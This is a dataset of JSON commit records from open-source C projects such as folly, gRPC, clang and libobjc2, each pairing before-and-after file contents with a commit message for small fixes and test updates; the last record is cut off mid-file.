{"commit":"bc7bad10693b5c6616a424ff64278a6eeb8925da","old_file":"folly\/CompiledFormat.h","new_file":"folly\/CompiledFormat.h","old_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <fmt\/compile.h>\n\n\/\/ Fallback to runtime format string processing for compatibility with fmt 6.x.\n#ifndef FMT_COMPILE\n#define FMT_COMPILE(format_str) format_str\n#endif\n","new_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <fmt\/compile.h>\n\n#if defined(__GNUC__) && !defined(__clang__) && __GNUC__ <= 8\n\/\/ Forcefully disable compiled format strings for GCC 8 & below until fmt is\n\/\/ updated to do this automatically.\n#undef FMT_COMPILE\n#endif\n\n\/\/ Fallback to runtime format string processing for compatibility with fmt 6.x.\n#ifndef FMT_COMPILE\n#define FMT_COMPILE(format_str) format_str\n#endif\n","subject":"Disable compiled format for GCC 8 & below","message":"Disable compiled format for GCC 8 & below\n\nSummary: As per title, as fmt doesn't currently handle them well.\n\nReviewed By: vitaut\n\nDifferential Revision: D26004515\n\nfbshipit-source-id: dbbd1e6550fa10c4a6fcb0fc5597887c9411ca70\n","lang":"C","license":"apache-2.0","repos":"facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly"}
{"commit":"7eae3515be77d87d54f7a1b42cc53cb936e3ede3","old_file":"components\/DataportTest\/src\/client.c","new_file":"components\/DataportTest\/src\/client.c","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <camkes.h>\n#include <stdio.h>\n#include <string.h>\n#include <sel4\/sel4.h>\n\nint run(void) {\n    char *shello = \"hello world\";\n\n    printf(\"Starting...\\n\");\n    printf(\"-----------\\n\");\n\n    strcpy((void*)DataOut, shello);\n    while(!*((char*)DataIn))\n        seL4_Yield();\n    printf(\"%s read %s\\n\", get_instance_name(), (char*)DataIn);\n    return 0;\n}\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <camkes.h>\n#include <stdio.h>\n#include <string.h>\n\nint run(void) {\n    char *shello = \"hello world\";\n\n    printf(\"Starting...\\n\");\n    printf(\"-----------\\n\");\n\n    strcpy((void*)DataOut, shello);\n    while(!*((volatile char*)DataIn));\n    printf(\"%s read %s\\n\", get_instance_name(), (char*)DataIn);\n    return 0;\n}\n","subject":"Remove casting away of volatile and explicit call to seL4_Yield.","message":"Remove casting away of volatile and explicit call to seL4_Yield.\n\nThis commit removes some bad style in this example. In particular, calling a\nseL4 system call directly from a CAmkES component is not intended. Additionally\nthis example cast away the volatility of the dataport pointer. From what I can\nsee, the only reason the compiler did not optimise away the repeated read of\nthis pointer was because the loop contained a system call with a contained\nunrestricted memory clobber.\n\nRelated to JIRA CAMKES-436\n","lang":"C","license":"bsd-2-clause","repos":"seL4\/camkes-apps-dataport--devel"}
{"commit":"be3f8ddf0f51e601866dbcc1a3fcac6d0db14e39","old_file":"gc_none.c","new_file":"gc_none.c","old_contents":"#include \"visibility.h\"\n#include \"objc\/runtime.h\"\n#include \"gc_ops.h\"\n#include \"class.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic id allocate_class(Class cls, size_t extraBytes)\n{\n\tintptr_t *addr = calloc(cls->instance_size + extraBytes + sizeof(intptr_t), 1);\n\treturn (id)(addr + 1);\n}\n\nstatic void free_object(id obj)\n{\n\tfree((void*)(((intptr_t)obj) - 1));\n}\n\nstatic void *alloc(size_t size)\n{\n\treturn calloc(size, 1);\n}\n\nPRIVATE struct gc_ops gc_ops_none = \n{\n\t.allocate_class = allocate_class,\n\t.free_object    = free_object,\n\t.malloc         = alloc,\n\t.free           = free\n};\nPRIVATE struct gc_ops *gc = &gc_ops_none;\n\nPRIVATE BOOL isGCEnabled = NO;\n\n#ifndef ENABLE_GC\nPRIVATE void enableGC(BOOL exclusive)\n{\n\tfprintf(stderr, \"Attempting to enable garbage collection, but your\"\n\t\t\t\"Objective-C runtime was built without garbage collection\"\n\t\t\t\"support\\n\");\n\tabort();\n}\n#endif\n","new_contents":"#include \"visibility.h\"\n#include \"objc\/runtime.h\"\n#include \"gc_ops.h\"\n#include \"class.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic id allocate_class(Class cls, size_t extraBytes)\n{\n\tintptr_t *addr = calloc(cls->instance_size + extraBytes + sizeof(intptr_t), 1);\n\treturn (id)(addr + 1);\n}\n\nstatic void free_object(id obj)\n{\n\tfree((void*)(((intptr_t*)obj) - 1));\n}\n\nstatic void *alloc(size_t size)\n{\n\treturn calloc(size, 1);\n}\n\nPRIVATE struct gc_ops gc_ops_none = \n{\n\t.allocate_class = allocate_class,\n\t.free_object    = free_object,\n\t.malloc         = alloc,\n\t.free           = free\n};\nPRIVATE struct gc_ops *gc = &gc_ops_none;\n\nPRIVATE BOOL isGCEnabled = NO;\n\n#ifndef ENABLE_GC\nPRIVATE void enableGC(BOOL exclusive)\n{\n\tfprintf(stderr, \"Attempting to enable garbage collection, but your\"\n\t\t\t\"Objective-C runtime was built without garbage collection\"\n\t\t\t\"support\\n\");\n\tabort();\n}\n#endif\n","subject":"Fix bug spotted by Justin Hibbits.","message":"Fix bug spotted by Justin Hibbits.\n\n\n","lang":"C","license":"mit","repos":"ngrewe\/libobjc2,gnustep\/libobjc2,davidchisnall\/libobjc2,crystax\/android-vendor-libobjc2,ngrewe\/libobjc2,crystax\/android-vendor-libobjc2,gnustep\/libobjc2,darlinghq\/darling-libobjc2,davidchisnall\/libobjc2,darlinghq\/darling-libobjc2"}
{"commit":"151e30567b407381af5134c9f5c3d782bf80c3e2","old_file":"src\/core\/lib\/security\/security_connector\/load_system_roots.h","new_file":"src\/core\/lib\/security\/security_connector\/load_system_roots.h","old_contents":"\/*\n *\n * Copyright 2018 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_CORE_LIB_SECURITY_SECURITY_CONNECTOR_LOAD_SYSTEM_ROOTS_H\n#define GRPC_CORE_LIB_SECURITY_SECURITY_CONNECTOR_LOAD_SYSTEM_ROOTS_H\n\nnamespace grpc_core {\n\n\/\/ Returns a slice containing roots from the OS trust store\ngrpc_slice LoadSystemRootCerts();\n\n}  \/\/ namespace grpc_core\n\n#endif \/* GRPC_CORE_LIB_SECURITY_SECURITY_CONNECTOR_LOAD_SYSTEM_ROOTS_H *\/","new_contents":"\/*\n *\n * Copyright 2018 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_CORE_LIB_SECURITY_SECURITY_CONNECTOR_LOAD_SYSTEM_ROOTS_H\n#define GRPC_CORE_LIB_SECURITY_SECURITY_CONNECTOR_LOAD_SYSTEM_ROOTS_H\n\nnamespace grpc_core {\n\n\/\/ Returns a slice containing roots from the OS trust store\ngrpc_slice LoadSystemRootCerts();\n\n}  \/\/ namespace grpc_core\n\n#endif \/* GRPC_CORE_LIB_SECURITY_SECURITY_CONNECTOR_LOAD_SYSTEM_ROOTS_H *\/\n\n","subject":"Add newline to end of header","message":"Add newline to end of header\n","lang":"C","license":"apache-2.0","repos":"muxi\/grpc,grpc\/grpc,carl-mastrangelo\/grpc,ejona86\/grpc,vjpai\/grpc,muxi\/grpc,stanley-cheung\/grpc,stanley-cheung\/grpc,mehrdada\/grpc,grpc\/grpc,sreecha\/grpc,jboeuf\/grpc,jtattermusch\/grpc,jboeuf\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,carl-mastrangelo\/grpc,firebase\/grpc,ejona86\/grpc,ejona86\/grpc,ctiller\/grpc,ctiller\/grpc,pszemus\/grpc,muxi\/grpc,nicolasnoble\/grpc,carl-mastrangelo\/grpc,donnadionne\/grpc,jboeuf\/grpc,firebase\/grpc,ejona86\/grpc,muxi\/grpc,firebase\/grpc,vjpai\/grpc,ctiller\/grpc,ejona86\/grpc,vjpai\/grpc,thinkerou\/grpc,sreecha\/grpc,ejona86\/grpc,vjpai\/grpc,grpc\/grpc,mehrdada\/grpc,jboeuf\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,pszemus\/grpc,ctiller\/grpc,carl-mastrangelo\/grpc,pszemus\/grpc,jboeuf\/grpc,ejona86\/grpc,donnadionne\/grpc,muxi\/grpc,carl-mastrangelo\/grpc,ctiller\/grpc,firebase\/grpc,pszemus\/grpc,stanley-cheung\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,sreecha\/grpc,pszemus\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,donnadionne\/grpc,mehrdada\/grpc,vjpai\/grpc,jboeuf\/grpc,jtattermusch\/grpc,muxi\/grpc,sreecha\/grpc,ctiller\/grpc,mehrdada\/grpc,thinkerou\/grpc,nicolasnoble\/grpc,nicolasnoble\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,ctiller\/grpc,stanley-cheung\/grpc,grpc\/grpc,ejona86\/grpc,stanley-cheung\/grpc,thinkerou\/grpc,mehrdada\/grpc,mehrdada\/grpc,firebase\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,thinkerou\/grpc,nicolasnoble\/grpc,firebase\/grpc,donnadionne\/grpc,jtattermusch\/grpc,vjpai\/grpc,pszemus\/grpc,thinkerou\/grpc,jtattermusch\/grpc,mehrdada\/grpc,thinkerou\/grpc,thinkerou\/grpc,jtattermusch\/grpc,jboeuf\/grpc,muxi\/grpc,firebase\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,mehrdada\/grpc,sreecha\/grpc,vjpai\/grpc,nicolasnoble\/grpc,carl-mastrangelo\/grpc,ctiller\/grpc,donnadionne\/grpc,ejona86\/grpc,grpc\/grpc,muxi\/grpc,ctiller\/grpc,mehrdada\/grpc,muxi\/grpc,nicolasnoble\/grpc,nicolasnoble\/grpc,ejona86\/grpc,firebase\/grpc,jtattermusch\/grpc,jtattermusch\/grpc,vjpai\/grpc,carl-mastrangelo\/grpc,carl-mastrangelo\/grpc,mehrdada\/grpc,vjpai\/grpc,thinkerou\/grpc,mehrdada\/grpc,carl-mastrangelo\/grpc,pszemus\/grpc,donnadionne\/grpc,sreecha\/grpc,grpc\/grpc,muxi\/grpc,vjpai\/grpc,pszemus\/grpc,thinkerou\/grpc,sreecha\/grpc,jboeuf\/grpc,jtattermusch\/grpc,nicolasnoble\/grpc,sreecha\/grpc,ctiller\/grpc,nicolasnoble\/grpc,ejona86\/grpc,muxi\/grpc,firebase\/grpc,pszemus\/grpc,mehrdada\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,jtattermusch\/grpc,pszemus\/grpc,grpc\/grpc,sreecha\/grpc,thinkerou\/grpc,nicolasnoble\/grpc,ctiller\/grpc,pszemus\/grpc,thinkerou\/grpc,stanley-cheung\/grpc,jtattermusch\/grpc,sreecha\/grpc,ctiller\/grpc,ejona86\/grpc,jtattermusch\/grpc,firebase\/grpc,thinkerou\/grpc,muxi\/grpc,jtattermusch\/grpc,nicolasnoble\/grpc,sreecha\/grpc,jboeuf\/grpc,donnadionne\/grpc,firebase\/grpc,jboeuf\/grpc,vjpai\/grpc,firebase\/grpc,grpc\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,pszemus\/grpc,vjpai\/grpc,stanley-cheung\/grpc,sreecha\/grpc,grpc\/grpc,jboeuf\/grpc"}
{"commit":"58de6ed0ccc6b3749c3ddd0d7be44b81eb440cf9","old_file":"inc\/spu.h","new_file":"inc\/spu.h","old_contents":"#ifndef __SPU_H__\n#define __SPU_H__\n\ntypedef enum {\n    NONE,\n    VOLUME,\n    COMPRESSOR,\n    DISTORTION,\n    OVERDRIVE,\n    DELAY,\n    REVERB,\n    FLANGER,\n    EQULIZER,\n    BACK,\n    EFFECT_TYPE_NUM\n} EffectType_t;\n\nvoid SignalProcessingUnit(void const * argument);\n\nvoid attachNewEffect(uint32_t stage, EffectType_t effectType);\nvoid demolishEffect(uint32_t stage);\n\n#endif \/\/__SPU_H__\n","new_contents":"#ifndef __SPU_H__\n#define __SPU_H__\n\ntypedef enum {\n    NONE,\n    VOLUME,\n    COMPRESSOR,\n    DISTORTION,\n    OVERDRIVE,\n    DELAY,\n    REVERB,\n    FLANGER,\n    EQULIZER,\n    EFFECT_TYPE_NUM\n} EffectType_t;\n\nvoid SignalProcessingUnit(void const * argument);\n\nvoid attachEffect(uint32_t stage, EffectType_t effectType);\nconst char *cvtToEffectName(EffectType_t ee);\n\n#endif \/\/__SPU_H__\n","subject":"Add Function to get avaliable Effect name","message":"Add Function to get avaliable Effect name\n","lang":"C","license":"mit","repos":"sonicyang\/uRock,sonicyang\/uRock,BeyondCloud\/uRock,sonicyang\/uRock,BeyondCloud\/uRock,BeyondCloud\/uRock,BeyondCloud\/uRock,sonicyang\/uRock"}
{"commit":"651603c57e8818a492b59cbaa49f8fc5a27d1566","old_file":"main.c","new_file":"main.c","old_contents":"#include \"siphash.h\"\n#include <stdio.h>\n\n\nint main(void)\n{\n        uint64_t k0 = 0x0706050403020100ull;\n        uint64_t k1 = 0x0f0e0d0c0b0a0908ull;\n\n        uint8_t msg[] = {0x00, 0x01, 0x02, 0x03, 0x04,\n                         0x05, 0x06, 0x07, 0x08, 0x09,\n                         0x0a, 0x0b, 0x0c, 0x0d, 0x0e};\n\n        uint64_t s = siphash24(k0, k1, msg, sizeof(msg));\n\n        printf(\"SipHash-2-4 test: 0x%016llx (expected 0x%016llx)\\n\", s, 0xa129ca6149be45e5ull);\n\n        return 0;\n}\n\n","new_contents":"#include \"siphash.h\"\n#include <stdio.h>\n\n\nint main(void)\n{\n        uint8_t key[] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n\t\t\t 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f};\n\n        uint64_t k0 = *(uint64_t*)(key + 0);\n        uint64_t k1 = *(uint64_t*)(key + 8);\n\n        uint8_t msg[] = {0x00, 0x01, 0x02, 0x03, 0x04,\n                         0x05, 0x06, 0x07, 0x08, 0x09,\n                         0x0a, 0x0b, 0x0c, 0x0d, 0x0e};\n\n        uint64_t s = siphash24(k0, k1, msg, sizeof(msg));\n\n        printf(\"SipHash-2-4 test: 0x%016llx (expected 0x%016llx)\\n\", s, 0xa129ca6149be45e5ull);\n\n        return 0;\n}\n\n","subject":"Fix test key initialization to be endian-neutral","message":"Fix test key initialization to be endian-neutral\n\nSigned-off-by: Gregory Petrosyan <60f6837da39a129899062fdb5e652b06dce7deb5@gmail.com>\n","lang":"C","license":"mit","repos":"flyingmutant\/siphash"}
{"commit":"3236ff1f1c85e35d99aba3c94092a665717964ef","old_file":"lb_matrix.h","new_file":"lb_matrix.h","old_contents":"#ifndef LB_MATRIX_INCLUDED\n\ttypedef struct {\n\t\tdouble* data;\n\t\tunsigned int num_rows;\n\t\tunsigned int num_cols;\n\t} Matrix;\n\tMatrix lb_create_matrix(double* data, unsigned int num_rows, unsigned int num_cols);\n\tMatrix lb_allocate_matrix(unsigned int num_rows, unsigned int num_cols);\n\t\n\t#define lb_mat_element_ptr(A,i,j) (A.data + j * A.num_cols + i)\n\t#define lb_mat_element(A,i,j) A.data[j * A.num_cols + i]\n\t#define lb_mat_row_element(A,row,offset) A.data[offset + row * A.num_cols]\n\t#define lb_mat_col_element(A,col,offset) A.data[col + offset * A.num_cols]\n\t#define lb_vec_element_ptr(v,j) v.data + j;\n\tvoid lbmm(Matrix A, Matrix B, Matrix result);\n\tvoid lbma(Matrix A, Matrix B, Matrix result);\n\t#define LB_MATRIX_INCLUDED\n#endif\n","new_contents":"#ifndef LB_MATRIX_INCLUDED\n\ttypedef struct {\n\t\tdouble* data;\n\t\tunsigned int num_rows;\n\t\tunsigned int num_cols;\n\t} Matrix;\n\tMatrix lb_create_matrix(double* data, unsigned int num_rows, unsigned int num_cols);\n\tMatrix lb_allocate_matrix(unsigned int num_rows, unsigned int num_cols);\n\t\n\t#define lb_mat_element_ptr(A,i,j) (A.data + j * A.num_cols + i)\n\t#define lb_mat_element(A,i,j) A.data[j * A.num_cols + i]\n\t#define lb_mat_row_element(A,i,j) A.data[i * A.num_cols + j]\n\t#define lb_mat_col_element(A,i,j) A.data[j * A.num_cols + i]\n\t#define lb_vec_element_ptr(v,j) v.data + j;\n\tvoid lbmm(Matrix A, Matrix B, Matrix result);\n\tvoid lbma(Matrix A, Matrix B, Matrix result);\n\t#define LB_MATRIX_INCLUDED\n#endif\n","subject":"Clarify row and column iterators","message":"Clarify row and column iterators\n","lang":"C","license":"apache-2.0","repos":"frenchrd\/laid-back-lapack,frenchrd\/laid-back-lapack"}
{"commit":"c89b58e65cce5113ba2d8d8ce531152da23670c9","old_file":"lib\/debug.c","new_file":"lib\/debug.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n\n#include \"debug.h\"\n\n#ifndef NDEBUG\n\nconst char * const col[] = {MAG, RED, YEL, CYN, BLU, GRN};\n\nregex_t _comp;\n\n\n\/\/ Initialize the regular expression used for restricting debug output\nstatic void __attribute__((constructor)) premain()\n{\n    if (regcomp(&_comp, DCOMPONENT, REG_EXTENDED | REG_ICASE | REG_NOSUB))\n        die(\"may not be a valid regexp: %s\", DCOMPONENT);\n}\n\n\n\/\/ And free is again\nstatic void __attribute__((destructor)) postmain() { regfree(&_comp); }\n\n\n\/\/ Print a hexdump of the given block\nvoid hexdump(const void * const ptr, const size_t len)\n{\n    const uint8_t * const buf = ptr;\n    for (uint8_t i = 0; i < len; i += 16) {\n        fprintf(stderr, \"%06x: \", i);\n        for (uint8_t j = 0; j < 16; j++) {\n            if (i + j < len)\n                fprintf(stderr, \"%02hhx \", buf[i + j]);\n            else\n                fprintf(stderr, \"   \");\n            fprintf(stderr, \" \");\n        }\n        for (uint8_t j = 0; j < 16; j++) {\n            if (i + j < len)\n                fprintf(stderr, \"%c\", isprint(buf[i + j]) ? buf[i + j] : '.');\n        }\n        fprintf(stderr, \"\\n\");\n    }\n}\n\n#endif\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n\n#include \"debug.h\"\n\n#ifndef NDEBUG\n\nconst char * const col[] = {MAG, RED, YEL, CYN, BLU, GRN};\n\nregex_t _comp;\n\n\n\/\/ Initialize the regular expression used for restricting debug output\nstatic void __attribute__((constructor)) premain()\n{\n    if (regcomp(&_comp, DCOMPONENT, REG_EXTENDED | REG_ICASE | REG_NOSUB))\n        die(\"may not be a valid regexp: %s\", DCOMPONENT);\n}\n\n\n\/\/ And free is again\nstatic void __attribute__((destructor)) postmain() { regfree(&_comp); }\n\n\n\/\/ Print a hexdump of the given block\nvoid hexdump(const void * const ptr, const size_t len)\n{\n    const uint8_t * const buf = ptr;\n    for (size_t i = 0; i < len; i += 16) {\n        fprintf(stderr, \"%06lx: \", i);\n        for (size_t j = 0; j < 16; j++) {\n            if (i + j < len)\n                fprintf(stderr, \"%02hhx \", buf[i + j]);\n            else\n                fprintf(stderr, \"   \");\n            fprintf(stderr, \" \");\n        }\n        for (size_t j = 0; j < 16; j++) {\n            if (i + j < len)\n                fprintf(stderr, \"%c\", isprint(buf[i + j]) ? buf[i + j] : '.');\n        }\n        fprintf(stderr, \"\\n\");\n    }\n}\n\n#endif\n","subject":"Fix overflow bug introduced in f6b3328f","message":"Fix overflow bug introduced in f6b3328f\n","lang":"C","license":"bsd-2-clause","repos":"NTAP\/quant,NTAP\/quant,NTAP\/quant"}
{"commit":"87dd7d92b3a2598eef4afdde3cda46e1fc23b6e8","old_file":"test\/CodeGen\/2003-10-29-AsmRename.c","new_file":"test\/CodeGen\/2003-10-29-AsmRename.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s  -o \/dev\/null\n\n\nstruct foo { int X; };\nstruct bar { int Y; };\n\nextern int Func(struct foo*) __asm__(\"Func64\");\nextern int Func64(struct bar*);\n\nint Func(struct foo *F) {\n  return 1;\n}\n\nint Func64(struct bar* B) {\n  return 0;\n}\n\n\nint test() {\n  Func(0);    \/* should be renamed to call Func64 *\/\n  Func64(0);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -triple x86_64-apple-darwin -o \/dev\/null\n\n\nstruct foo { int X; };\nstruct bar { int Y; };\n\nextern int Func(struct foo*) __asm__(\"Func64\");\nextern int Func64(struct bar*);\n\nint Func(struct foo *F) {\n  return 1;\n}\n\nint Func64(struct bar* B) {\n  return 0;\n}\n\n\nint test() {\n  Func(0);    \/* should be renamed to call Func64 *\/\n  Func64(0);\n}\n","subject":"Make this darwin only for now while investigating to clear up x86_64 Release+Asserts linux tests.","message":"Make this darwin only for now while investigating to clear up x86_64\nRelease+Asserts linux tests.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136223 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"33701a61674753db0c9de7a294137e7dc4dd2d9b","old_file":"test\/Parser\/traditional_arg_scope.c","new_file":"test\/Parser\/traditional_arg_scope.c","old_contents":"\/\/ RUN: clang -fsyntax-only %s -verify\n\nx(a) int a; {return a;}\ny(b) int b; {return a;} \/\/ expected-error {{use of undeclared identifier}}\n\n","new_contents":"\/\/ RUN: clang -fsyntax-only %s -verify\n\nx(a) int a; {return a;}\ny(b) int b; {return a;} \/\/ expected-error {{use of undeclared identifier}}\n\n\/\/ PR2332\na(a)int a;{a=10;return a;}\n","subject":"Test from PR2332; bug already fixed by r51311.","message":"Test from PR2332; bug already fixed by r51311.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@51316 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"93b6ed1dc37e1809b7a9dfa04171c34b7b6153ca","old_file":"src\/SE_GLFW3_Include.h","new_file":"src\/SE_GLFW3_Include.h","old_contents":"#pragma once\n\n#define GLFW_INCLUDE_GLU\n\n#if __clang__\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wdocumentation\"\n#endif\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wpadded\"\n\n# include <GLFW\/glfw3.h>\n\n#pragma GCC diagnostic pop\n\n#if __clang__\n#pragma clang diagnostic pop\n#endif\n","new_contents":"#pragma once\n\n#define GLFW_INCLUDE_GLU\n\n#if __clang__\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wdocumentation\"\n#pragma clang diagnostic ignored \"-Wdocumentation-unknown-command\"\n#endif\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wpadded\"\n\n# include <GLFW\/glfw3.h>\n\n#pragma GCC diagnostic pop\n\n#if __clang__\n#pragma clang diagnostic pop\n#endif\n","subject":"Disable another warning in GLFW.","message":"Disable another warning in GLFW.\n","lang":"C","license":"agpl-3.0","repos":"belkiss\/SpeakEasy,belkiss\/SpeakEasy"}
{"commit":"2e2d5d779fa18c98d6affc025dc5fcb122743f4c","old_file":"test\/Sema\/2007-10-01-BuildArrayRef.c","new_file":"test\/Sema\/2007-10-01-BuildArrayRef.c","old_contents":"\/\/ RUN: not %clang_cc1_only -c %s -o - > \/dev\/null\n\/\/ PR 1603\nvoid func()\n{\n   const int *arr;\n   arr[0] = 1;  \/\/ expected-error {{assignment of read-only location}}\n}\n\nstruct foo {\n  int bar;\n};\nstruct foo sfoo = { 0 };\n\nint func2()\n{\n  const struct foo *fp;\n  fp = &sfoo;\n  fp[0].bar = 1;  \/\/ expected-error {{ assignment of read-only member}}\n  return sfoo.bar;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s\n\/\/ PR 1603\nvoid func()\n{\n   const int *arr;\n   arr[0] = 1;  \/\/ expected-error {{read-only variable is not assignable}}\n}\n\nstruct foo {\n  int bar;\n};\nstruct foo sfoo = { 0 };\n\nint func2()\n{\n  const struct foo *fp;\n  fp = &sfoo;\n  fp[0].bar = 1;  \/\/ expected-error {{read-only variable is not assignable}}\n  return sfoo.bar;\n}\n","subject":"Fix a test that hasn't worked since 2007","message":"Fix a test that hasn't worked since 2007\n\nDue to a missing -verify, 2007-10-01-BuildArrayRef.c was a no-op.\n\nThe message was changed 5 years ago so also update the test to reflect the new wording.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@196729 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"05461a9fc72c303f611d0b37cde545c2b0c7bdc2","old_file":"PolyMapGenerator\/Map.h","new_file":"PolyMapGenerator\/Map.h","old_contents":"#ifndef MAP_H\n#define MAP_H\n\n#include <vector>\n#include <map>\n\n#include \"DelaunayTriangulation.h\"\n#include \"Structure.h\"\n#include \"QuadTree.h\"\n\n#endif","new_contents":"#ifndef MAP_H\n#define MAP_H\n\n#include <vector>\n#include <map>\n\n#include \"DelaunayTriangulation.h\"\n#include \"Structure.h\"\n#include \"QuadTree.h\"\n\nusing pCenterQT = QuadTree<Center*>;\n\n\/\/ Forward Declaration\nclass Vector2;\nnamespace Noise\n{\n\tnamespace Module\n\t{\n\t\tclass Perlin;\n\t}\n}\n\n#endif","subject":"Define alias type, forward declaration","message":"Define alias type, forward declaration\n","lang":"C","license":"mit","repos":"utilForever\/PolyMapGenerator"}
{"commit":"d2bf3b4d67fba2849f0d648c491fd2a4f808ce95","old_file":"Code\/LYRUIMediaAttachment.h","new_file":"Code\/LYRUIMediaAttachment.h","old_contents":"\/\/\n\/\/  LYRUIMediaAttachment.h\n\/\/  LayerSample\n\/\/\n\/\/  Created by Kevin Coleman on 9\/12\/14.\n\/\/  Copyright (c) 2014 Layer, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/**\n @abstract The `LYRUIMediaAttachment` class configures the appropriate size\n for an NSTextAttachment to comfortably fit inside of a LYRUIMessageInputToolbar\n *\/\n@interface LYRUIMediaAttachment : NSTextAttachment\n\n@end\n","new_contents":"\/\/\n\/\/  LYRUIMediaAttachment.h\n\/\/  LayerSample\n\/\/\n\/\/  Created by Kevin Coleman on 9\/12\/14.\n\/\/  Copyright (c) 2014 Layer, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/**\n @abstract The `LYRUIMediaAttachment` class configures the appropriate size\n for an NSTextAttachment to comfortably fit inside of a `LYRUIMessageInputToolbar`.\n *\/\n@interface LYRUIMediaAttachment : 